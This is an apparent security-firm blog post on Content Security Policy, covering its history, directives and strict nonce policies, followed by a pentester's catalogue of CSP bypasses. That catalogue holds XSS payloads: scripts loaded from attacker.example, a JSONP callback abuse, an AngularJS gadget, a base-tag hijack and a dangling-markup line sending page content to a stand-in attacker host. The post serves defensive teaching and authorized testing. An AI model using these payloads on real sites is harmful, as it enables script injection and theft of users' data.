Content Security Policy (CSP) is one of those web security features that everyone has heard of, plenty of teams have deployed, and almost nobody has deployed correctly. It is simultaneously one of the most powerful defenses against cross-site scripting (XSS) ever shipped to browsers and one of the most reliably misconfigured headers on the modern web. For defenders, it is a second line of protection that can turn a catastrophic XSS into a non-event. For attackers, pentesters, and bug bounty hunters, a weak CSP is a green light and a roadmap all at once.
This post is the long version. We will walk through where CSP came from, how it actually works, what a good policy looks like in 2026, and — because this is a security blog — a practical catalogue of the bypasses you will actually run into in the wild. Grab a coffee.
A Short History of CSP
The problem CSP was built to solve
To understand CSP you have to understand the shape of the problem. Cross-site scripting has sat at or near the top of the OWASP Top 10 for the entire life of the list. The root cause is deceptively simple: the browser has no built-in way to tell the difference between JavaScript the developer intended to run and JavaScript an attacker managed to inject into the page. To the browser, a <script> tag is a <script> tag. If an attacker can smuggle one into your HTML, it executes with the full privileges of your origin — reading cookies, making authenticated requests, rewriting the DOM, exfiltrating data.
For years the only defense was rigorous output encoding and input validation everywhere, all the time, forever. That works right up until the one place a developer forgets. CSP was conceived as a defense in depth mechanism: even if an injection slips through, the browser should be able to refuse to execute untrusted code.
From concept to standard
The intellectual groundwork was laid by Robert "RSnake" Hansen and later formalized by Brandon Sterne and Sid Stamm at Mozilla around 2009. Firefox shipped the first real implementation behind the vendor-prefixed header X-Content-Security-Policy. WebKit and Chrome followed with X-WebKit-CSP. Those prefixed headers were buggy, inconsistent, and are now thoroughly obsolete — if you still see them in production, treat them as dead weight.
The standardization timeline looks roughly like this:
- CSP Level 1 — Published as a W3C Candidate Recommendation in 2012. Introduced the core model: the
Content-Security-Policyheader and foundational directives likescript-src,style-src,img-src,default-src, and thereport-urireporting mechanism. - CSP Level 2 — W3C Recommendation in 2015. This is the version that made CSP genuinely usable for XSS mitigation. It added nonces and hashes for allowlisting specific inline scripts, the
child-src,frame-ancestors,form-action,base-uri, andplugin-typesdirectives, and a richer violation-reporting event model. - CSP Level 3 — Still a W3C Working Draft (the latest revision is dated August 13, 2026), but large parts of it have been shipping in browsers for years. Level 3 introduced the pieces that make a genuinely strict policy practical:
'strict-dynamic','unsafe-hashes', the granularscript-src-elem/script-src-attr/style-src-elem/style-src-attrdirectives,worker-src,manifest-src, and the migration fromreport-urito the Reporting-API-basedreport-to.
A useful thing to internalize: "CSP Level 3 is a draft" does not mean it is experimental. The spec is a living document; the features within it have varying, mostly excellent, browser support. You should be writing Level 3 policies today.
How CSP Actually Works
At its core CSP is a browser-enforced allowlist. The server sends a policy — usually in a response header, occasionally in a <meta> tag — and the browser refuses to load or execute anything the policy does not explicitly permit.
A policy is a semicolon-separated list of directives, each naming a resource type and the sources allowed for it:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src *; object-src 'none'
Read that as: "By default, only load resources from my own origin. Scripts may come from my origin or that CDN. Images may come from anywhere. Never load plugins/objects."
Two headers, two behaviors
There are two headers, and the difference matters enormously during rollout:
Content-Security-Policy— enforcing. Violations are blocked.Content-Security-Policy-Report-Only— monitoring. Violations are reported but not blocked.
Report-Only is how you deploy CSP without breaking your site. You ship it, collect violation reports for a few weeks, discover all the legitimate resources you forgot about, tune the policy, and only then flip to enforcing. Skipping this step is how teams end up rolling back CSP at 2 a.m.
Source expressions and keywords
Sources in a directive can be hostnames, schemes, or special keywords. The keywords are where most of the security-relevant nuance lives:
'self'— the current origin.'none'— nothing, at all.'unsafe-inline'— allow inline<script>, inline event handlers, andjavascript:URIs. This is the single biggest CSP footgun; it more or less turns script protections off.'unsafe-eval'— alloweval(),new Function(), and friends.'nonce-<base64>'— allow an inline script/style carrying a matching, per-response randomnonceattribute.'sha256-<hash>'/'sha384-...'/'sha512-...'— allow an inline script/style whose contents hash to this value.'strict-dynamic'— trust scripts loaded by an already-trusted script, and (crucially) tell the browser to ignore host allowlists and'unsafe-inline'forscript-src.'unsafe-hashes'— allow hashes to match inline event handlers andstyleattributes (not full script blocks).
The Full Directive Reference
CSP directives fall into a handful of families. Here is the current landscape as of the Level 3 draft.
Fetch directives (where resources may load from)
| Directive | Controls |
|---|---|
default-src | Fallback for all other fetch directives |
script-src | JavaScript and WebAssembly |
script-src-elem | <script> elements specifically |
script-src-attr | Inline event handlers (onclick, etc.) |
style-src | Stylesheets |
style-src-elem | <style> and <link rel="stylesheet"> |
style-src-attr | Inline style attributes |
img-src | Images and favicons |
font-src | Fonts loaded via @font-face |
connect-src | fetch, XHR, WebSocket, EventSource, sendBeacon |
media-src | <audio>, <video>, <track> |
object-src | <object> and <embed> |
frame-src | Nested contexts (<iframe>, <frame>) |
child-src | Fallback for frame-src and worker-src |
worker-src | Web/Shared/Service Workers |
manifest-src | Web app manifests |
prefetch-src | Prefetch/prerender targets (limited support) |
fenced-frame-src | <fencedframe> contexts |
Document directives
| Directive | Controls |
|---|---|
base-uri | Allowed values for <base href> |
sandbox | Applies iframe-style sandboxing to the document |
Navigation directives
| Directive | Controls |
|---|---|
form-action | Allowed form submission targets |
frame-ancestors | Who may embed this page (clickjacking defense, supersedes X-Frame-Options) |
Reporting directives
| Directive | Controls |
|---|---|
report-to | Reporting API endpoint group for violation reports |
report-uri | Deprecated — legacy violation endpoint (still send both for coverage) |
Other useful directives
| Directive | Controls |
|---|---|
require-trusted-types-for | Enforces Trusted Types at DOM XSS sinks |
trusted-types | Allowlist of Trusted Types policy names |
upgrade-insecure-requests | Rewrites http:// subresource requests to https:// |
Note the graveyard: block-all-mixed-content is deprecated (use upgrade-insecure-requests), plugin-types and referrer are gone, and report-uri is on its way out in favor of report-to. In practice you still ship report-uri alongside report-to for a while because reporting-endpoint support lagged.
Writing a Good CSP in 2026
Here is the uncomfortable truth that Google's security team demonstrated years ago and that still holds: host-based allowlists don't work. The classic policy that looks responsible —
Content-Security-Policy: script-src 'self' https://apis.google.com https://cdnjs.cloudflare.com
— is almost always bypassable, because large allowlisted domains inevitably host something dangerous: a JSONP endpoint, an old vulnerable AngularJS build, an open redirect. More on that in the bypass section. The modern, defensible approach is a nonce-based strict policy with strict-dynamic.
The recommended strict policy
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script'
Every piece earns its place:
'nonce-{RANDOM}'— a fresh, cryptographically random value generated per HTTP response and stamped on each legitimate inline/loaded script. An attacker who injects a<script>cannot guess the nonce, so it won't run.'strict-dynamic'— lets your trusted, nonce'd scripts load further scripts (bundlers, tag managers, dynamically injected SDKs) without you enumerating every host. When a browser honorsstrict-dynamic, it ignores thehttps:and'unsafe-inline'fallbacks entirely.https:and'unsafe-inline'— these are deliberate backwards-compatibility fallbacks for older browsers that don't understandstrict-dynamic. Modern browsers ignore them; ancient ones get some protection instead of none.object-src 'none'— kills Flash/plugin-based script execution vectors. There is essentially never a reason not to set this.base-uri 'none'— prevents an attacker from injecting a<base>tag to hijack the resolution of relative script URLs (a real and frequently-forgotten bypass).require-trusted-types-for 'script'— the endgame. Trusted Types forces DOM XSS sinks (innerHTML,eval,document.write, etc.) to accept only values that passed through a vetted policy, closing off the injection point itself rather than just the execution.
Nonce hygiene (this is where people fail)
A nonce is only as good as its randomness and its scoping. The failure modes are predictable:
- Do not reuse a nonce across responses. It must be regenerated every time.
- Do not generate nonces from anything predictable — timestamps, request counters, the user agent. If an attacker can predict the nonce, the protection is theatre.
- Do not write middleware that blindly stamps a nonce onto every
<script>in the response body. That will happily nonce the attacker's injected script too. Nonces must be applied by a real templating engine that only tags the scripts you authored. - Use at least 128 bits of entropy, base64-encoded, from a CSPRNG.
Hashes as an alternative
If your inline scripts are static, hashes work without server-side randomness:
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=' 'strict-dynamic'; object-src 'none'; base-uri 'none'
The catch: the hash covers the exact bytes of the script. Change one character of whitespace, reformat with Prettier, and the hash no longer matches and your script silently dies. Hashes suit static single-page-app shells and templates; nonces suit dynamic server-rendered pages.
Don't forget the non-script protections
CSP isn't only about XSS. A complete policy usually also sets:
Content-Security-Policy: ...; frame-ancestors 'self'; form-action 'self'; upgrade-insecure-requests
frame-ancestors 'self' is your modern clickjacking defense and replaces X-Frame-Options. form-action 'self' stops an injected form from posting your users' data to an attacker. upgrade-insecure-requests cleans up mixed content.
Reporting
Wire up reporting from day one so you can actually see what your policy blocks:
Content-Security-Policy: ...; report-to csp-endpoint; report-uri https://your-collector.example.com/csp
Reporting-Endpoints: csp-endpoint="https://your-collector.example.com/csp"
Whether you self-host a collector or use a managed service, the reports are gold during rollout and remain a useful IDS-like signal afterward: a spike in violations can be the first sign someone is probing you.
Testing Your Policy
Before you ship anything, run it through Google's CSP Evaluator. Paste in a policy and it flags host allowlists that are known to be bypassable, missing object-src/base-uri, use of 'unsafe-inline', and other weaknesses. It is the fastest way to catch the mistakes that make the rest of this article's bypass section possible.
Other tools worth keeping in the kit:
- Mozilla Observatory — grades your whole security-header posture, CSP included.
- Report URI — a hosted CSP reporting collector with dashboards.
- CSP Is Awesome and the OWASP CSP Cheat Sheet — reference material for building policies.
- MDN's CSP reference — authoritative directive documentation.
Bypassing CSP: A Field Guide for Pentesters and Bug Hunters
Now the fun part. A CSP header does not mean XSS is off the table — it means you have a second puzzle to solve after you find your injection point. Finding a CSP misconfiguration is itself often a reportable finding, and turning a "blocked" XSS into a working one via a CSP bypass frequently bumps a report from medium to high or critical. Everything below is for authorized testing only.
Your first move is always the same: grab the policy and drop it into CSP Evaluator. It will tell you which of the following doors are open.
1. 'unsafe-inline' in script-src
The freebie. If the policy allows 'unsafe-inline' for scripts and there is no nonce or hash present to override it, inline injection just works. Nothing to bypass:
">
<script>
alert(document.domain);
</script>
"><img src="x" onerror="alert(document.domain)" />
Remember the interaction rule: if a nonce or hash is present, modern browsers ignore 'unsafe-inline'. So script-src 'unsafe-inline' 'nonce-abc' does not actually allow arbitrary inline script in a modern browser. Check the browser, check for the nonce.
2. Wildcards and overly-broad schemes
If script-src contains *, or a scheme like https: with no strict-dynamic to neutralize it, you can just load your own script:
">
<script src="https://attacker.example/evil.js"></script>
Watch also for data: in script-src — that lets you inline a whole script as a data URI:
">
<script src="data:text/javascript,alert(document.domain)"></script>
3. JSONP endpoints on allowlisted domains
This is the classic host-allowlist killer. Many big domains that teams reflexively allowlist — Google APIs, various CDNs — host JSONP endpoints that reflect a caller-supplied callback name into an executable JavaScript response. If such a domain is in your script-src, an attacker points a <script> at the JSONP endpoint and smuggles code through the callback parameter:
">
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(document.domain)"></script>
The response comes back as alert(document.domain)(...) — valid, allowlisted, executing JavaScript. Tools like JSONBee maintain lists of known-abusable JSONP endpoints across popular domains. If any allowlisted host has a JSONP endpoint, the allowlist is effectively defeated.
4. Script gadgets in allowlisted libraries (AngularJS et al.)
If an allowlisted CDN hosts a framework with a known client-side template-injection "gadget," you can trigger code execution without ever loading your own script file. The evergreen example is AngularJS: when an old Angular build is allowlisted, an attacker injects markup that Angular itself evaluates:
<div ng-app ng-csp>{{$on.curry.call().alert('xss')}}</div>
Older Angular versions plus a permissive allowlist have produced countless working bypasses. The general lesson: allowlisting a domain means trusting everything it hosts, including old, vulnerable, or gadget-friendly library versions.
5. Missing object-src and base-uri
Two of the most commonly forgotten directives, each its own bypass.
Missing object-src: if it (and default-src) is absent, plugin/object vectors may be usable to execute script depending on the browser and content type.
Missing base-uri: if the policy uses a nonce but forgets base-uri, and you have HTML injection above a relatively-referenced script, you can inject a <base> tag to redirect that relative URL to your server:
<base href="https://attacker.example/" />
<!-- the page's own <script src="app.js"> now loads from attacker.example/app.js -->
The page's legitimate, nonce-blessed script tag ends up fetching your file. This is exactly why the recommended strict policy always includes base-uri 'none'.
6. Weak, predictable, or reused nonces
A nonce is a secret-for-one-response. Break that assumption and it falls:
- Reused nonces — if the same nonce appears across responses, an attacker who sees one can reuse it in an injected script.
- Predictable nonces — nonces derived from time, sequence numbers, or request attributes can be computed. If you can predict it, you can supply it.
- Reflected nonces — occasionally the nonce is reflected somewhere an attacker controls, letting them read and reuse it within the same response.
7. CSP injection via header/parameter reflection
If any part of the CSP header is built from user input — or the app lets you influence response headers via CRLF injection — you may be able to inject your own directive or loosen an existing one, e.g. appending script-src-elem 'unsafe-inline' or adding your host. Any reflected value that lands in the policy is worth testing.
8. strict-dynamic pitfalls
strict-dynamic is strong, but it trusts scripts loaded by trusted scripts. If a nonce'd, trusted script itself takes attacker-controlled input and uses it to create a new script element (a DOM-based sink like document.createElement('script') fed from a URL parameter), strict-dynamic will happily propagate trust to the attacker's script. The CSP is intact; the gadget is in the application code. This is why Trusted Types matters.
9. Dangling markup and data exfiltration
Even when you cannot execute script, a restrictive-but-imperfect CSP may still let you steal data. Dangling markup injection uses an unterminated attribute to slurp subsequent page content (including CSRF tokens or nonces) into a request to an attacker server:
<img src="https://attacker.example/log?html=
Everything after the injection up to the next quote gets sent to the attacker. Whether this works depends on img-src/connect-src and on newer browser mitigations, but it is a reliable fallback when connect-src or form-action is loose. Loose form-action similarly allows redirecting form posts to an attacker endpoint.
10. File upload and "self" abuse
If script-src 'self' is set and the application lets you upload a file that is served from the same origin with a script-executable (or sniffable) content type, you can host your payload on the target itself and satisfy 'self':
">
<script src="/uploads/avatar12345.js"></script>
Any same-origin location where you can plant script-parseable content — user uploads, a reflected endpoint that echoes JS, an open redirect on-origin — can turn 'self' against the site.
The workflow, summarized
- Extract the policy (response headers and
<meta>tags). - Run it through CSP Evaluator.
- Look for the easy wins first:
unsafe-inlinewithout a nonce, wildcards,data:inscript-src. - Enumerate allowlisted hosts for JSONP endpoints and known script gadgets.
- Check for the missing directives —
object-src,base-uri. - Probe nonce quality and any reflection into the header.
- Look for DOM sinks that defeat
strict-dynamic. - If code execution is off the table, pivot to data exfiltration via dangling markup and loose
connect-src/form-action.
The Future of CSP
CSP is not standing still. A few directions worth watching:
- Trusted Types going mainstream.
require-trusted-types-for 'script'attacks the DOM XSS problem at the sink rather than the source. It is a bigger engineering lift than a nonce rollout, but it is the most durable defense on the table, and adoption is climbing across large sites. Expect it to become the expected standard for high-assurance applications. - Strict, nonce-based policies as the default. The industry has decisively moved away from host allowlists. Framework and CDN tooling increasingly generates
strict-dynamicnonce policies out of the box, which is the single best thing that could happen to CSP's real-world effectiveness. - The Reporting API.
report-toand the broader Reporting API give richer, batched, more structured violation telemetry than the oldreport-uriPOSTs. Asreport-urifinishes its deprecation, expect reporting to become a first-class observability signal. - Continued granularity. The split of
script-srcintoscript-src-elem/script-src-attr(and the style equivalents) reflects an ongoing trend toward fine-grained control, letting teams tighten exactly the surface they need without collateral breakage. - Isolation primitives around CSP. Related mechanisms —
fenced-frame-src, Trusted Types, cross-origin isolation headers — are increasingly designed to work with CSP as part of a layered platform-security story rather than as a single header doing everything.
The through-line: CSP is evolving from "a header you set to check a compliance box" into a genuine, layered, injection-resistant platform capability — but only for the teams who deploy it correctly.
Key Takeaways
- CSP is defense in depth for XSS, clickjacking, and data exfiltration — not a silver bullet, and never your only control.
- Host allowlists are broken. Use a nonce-based
strict-dynamicpolicy withobject-src 'none'andbase-uri 'none'. - Roll out with
Content-Security-Policy-Report-Only, collect violations, then enforce. - Nonces must be random, per-response, and applied by a real templating engine — never regex-stamped onto the whole page.
- Add
frame-ancestors,form-action, and Trusted Types for a complete posture. - For offensive work, the fastest path is CSP Evaluator → JSONP/gadget hunting on allowlisted hosts → missing
object-src/base-uri→ nonce quality → DOM sinks.
A CSP that looks reasonable and a CSP that actually holds up under attack are two very different things, and the gap between them is exactly the space attackers operate in. The only way to know which one you have is to test it like an adversary would.
Want to know whether your Content Security Policy would survive a real attacker — or whether your web application has the injection points that make CSP bypasses possible in the first place? Brackish Security does exactly this kind of adversarial web application and API testing. Get in touch and we'll pressure-test your defenses before someone else does.